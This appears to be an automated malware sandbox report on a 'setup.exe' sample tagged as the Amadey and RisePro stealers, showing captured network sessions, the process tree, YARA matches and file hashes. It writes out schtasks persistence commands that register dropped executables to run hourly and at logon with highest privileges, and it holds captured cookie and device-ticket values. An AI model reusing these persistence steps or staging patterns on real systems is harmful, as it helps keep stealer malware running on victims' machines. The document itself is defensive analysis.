2024-06-20 13:39:11 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49885	104.26.5.15	443	8524	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:11 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:39:11 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:39:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9FE2:E996_93878F2E:0050_667430FF_14C0AA8C:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAMWPK0d%2BSqllMQfG%2B0wnNN5F%2FmuUlwZkmdIRGrw0NoTCXeqMrgKsstd6N6ZrM7x5yIw4ftPKENlPjLP6ey1KTnV6AOGeYAB6suGL7natSuQMp1kd4UuwMfDSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c29df2caf4271-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:39:11 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:39:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49888	104.26.5.15	443	8896	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:12 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:39:12 UTC	663	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:39:12 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9AFD:AAE0_93878F2E:0050_66743100_14C0AA9D:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RArJO0ZL2DDgYTS3xdrbUsOpQGmmlRBSbR5FPccaFKsd3g8dJ4ktx%2B2E%2FZy4y7mFUY0Yzi%2B1LaulS%2BbWdbZA096P6%2FKbmJQ7PdsNi%2BInxRZASRQS%2BSeFUbKSYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c29e24e784367-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:39:12 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49912	216.58.206.46	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:58 UTC	1329	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 615 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=Qmsv6WluUD0O7Ox8wQ2_6BNiBL1mpJqmZYh2joQze5qIuRjUABvm2H1QIoRCwiR9x2xvFMOyo1S4UopHFa0EKXt8CceU0zme8FofzHzJ1YBaoZ8vQ3EujKX_0d16RUDjZwj3NTApvaUYQXdyXpwq1L663AHna5K50IaGgRzFkng
2024-06-20 13:39:58 UTC	615	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 38 38 39 30 37 39 37 31 32 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"21",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1718890797128",null,null,null
2024-06-20 13:39:59 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:39:58 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-06-20 13:39:59 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:39:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49942	20.189.173.12	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:44:59 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1718890987142 Host: self.events.data.microsoft.com Content-Length: 7972 Connection: Keep-Alive Cache-Control: no-cache
2024-06-20 13:44:59 UTC	7972	OUT	Data Raw: ed 7c 4b ac 5c 47 7a 5e eb 61 86 a2 28 8a 23 69 34 92 46 1e d1 82 66 32 f2 74 df d4 fb d1 88 e1 a1 78 a9 11 c7 e2 50 e6 a5 a4 19 03 06 73 ba fb dc ee 43 76 f7 b9 ea 07 1f 82 17 c2 c0 30 e0 00 0e 42 03 06 82 64 33 c8 c2 19 01 49 90 85 bd b0 57 5e 38 88 27 cc 26 c8 d2 09 e0 04 c8 26 2b 23 48 b2 49 16 f9 fe 3a af ea e2 15 67 3c 18 08 1e 80 17 24 2f ff aa 3a f5 fc ff ef ff fe aa 3a e7 cd 27 e4 1e bb a4 ae 1c 1e 16 e3 fc fa c1 dd f5 26 5f d4 bf de c9 b3 f9 66 76 39 df 64 93 6c 93 ed e7 b7 50 e2 42 b9 5c 97 f3 02 09 f9 e4 a3 bf fa 67 bf fd 2f fe ed fd bf f8 cf 5f f8 f4 f5 72 38 9e 38 69 8c 30 86 f3 b1 1a 67 59 e6 0e c7 7a 24 72 2b 5c 9e 3b 3e f9 8f 27 be ff e4 fd 2f 9e 7a ac 38 fd c1 e5 db d9 2a ef 9f bb b4 1c ef fd ee a9 4a 12 ac cf 7b f7 5f 3c f5 58 ef fe 97 Data Ascii: \|K\Gz^a(#i4Ff2txPsCv0Bd3IW^8'&&+#HI:g<$/::'&_fv9dlPB\g/_r88i0gYz$r+\;>'/z8*J{_<X
2024-06-20 13:44:59 UTC	25	IN	HTTP/1.1 100 Continue
2024-06-20 13:45:00 UTC	445	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 112743 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Thu, 20 Jun 2024 13:44:59 GMT Connection: close {"acc":4}

Target ID:	0
Start time:	09:37:56
Start date:	20/06/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0x170000
File size:	1'890'304 bytes
MD5 hash:	20FE52F3BA934B9B7454C194F44D74D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2037119339.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2077719831.0000000000171000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:37:59
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Imagebase:	0x580000
File size:	1'890'304 bytes
MD5 hash:	20FE52F3BA934B9B7454C194F44D74D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2074612089.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:38:00
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x580000
File size:	1'890'304 bytes
MD5 hash:	20FE52F3BA934B9B7454C194F44D74D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2075796415.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2116024182.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:38:06
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Imagebase:
File size:	1'890'304 bytes
MD5 hash:	20FE52F3BA934B9B7454C194F44D74D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:38:10
Start date:	20/06/2024
Path:	C:\Users\user\1000015002\b6042db502.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000015002\b6042db502.exe"
Imagebase:	0xc30000
File size:	1'888'256 bytes
MD5 hash:	1259EEE53EAE1FC7B96F6DFEB18C47D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2180141513.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2220567751.0000000000C31000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:38:14
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Imagebase:	0xd0000
File size:	1'888'256 bytes
MD5 hash:	1259EEE53EAE1FC7B96F6DFEB18C47D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2221998730.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:38:14
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Imagebase:	0xc30000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:38:19
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe"
Imagebase:	0x400000
File size:	2'400'256 bytes
MD5 hash:	69A4A65B5EC85EA408BE9CD4CD98302B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:38:20
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xaa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:38:20
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:38:20
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xaa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:38:20
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:38:21
Start date:	20/06/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x8b0000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:38:21
Start date:	20/06/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x8b0000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:38:23
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	09:38:23
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	09:38:25
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Imagebase:	0xc30000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	09:38:33
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0xd80000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:38:34
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5500 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	09:38:34
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:38:42
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Imagebase:	0xc30000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	09:38:50
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0xd80000
File size:	2'471'424 bytes
MD5 hash:	CA515D624D046E04A75136AB4E44D2D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	09:39:00
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Imagebase:	0xd0000
File size:	1'888'256 bytes
MD5 hash:	1259EEE53EAE1FC7B96F6DFEB18C47D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2715350371.00000000000D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2674528810.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	09:39:00
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x580000
File size:	1'890'304 bytes
MD5 hash:	20FE52F3BA934B9B7454C194F44D74D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2674508535.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2715346038.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 04D00CA5 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12cceb7f82f5f83136c7eb5a8be8e9a4ee4aba6a4986a9bbbee1980c3b17ae18
Instruction ID: 7fa4e6944562d566f591c68c0ead4d8f30ac308946a36314dc9e086ebc742350
Opcode Fuzzy Hash: 12cceb7f82f5f83136c7eb5a8be8e9a4ee4aba6a4986a9bbbee1980c3b17ae18
Instruction Fuzzy Hash: 510192EB75C110FE6143868677507B62A2FA5D7730370C066F48BD7E82B694FA097131

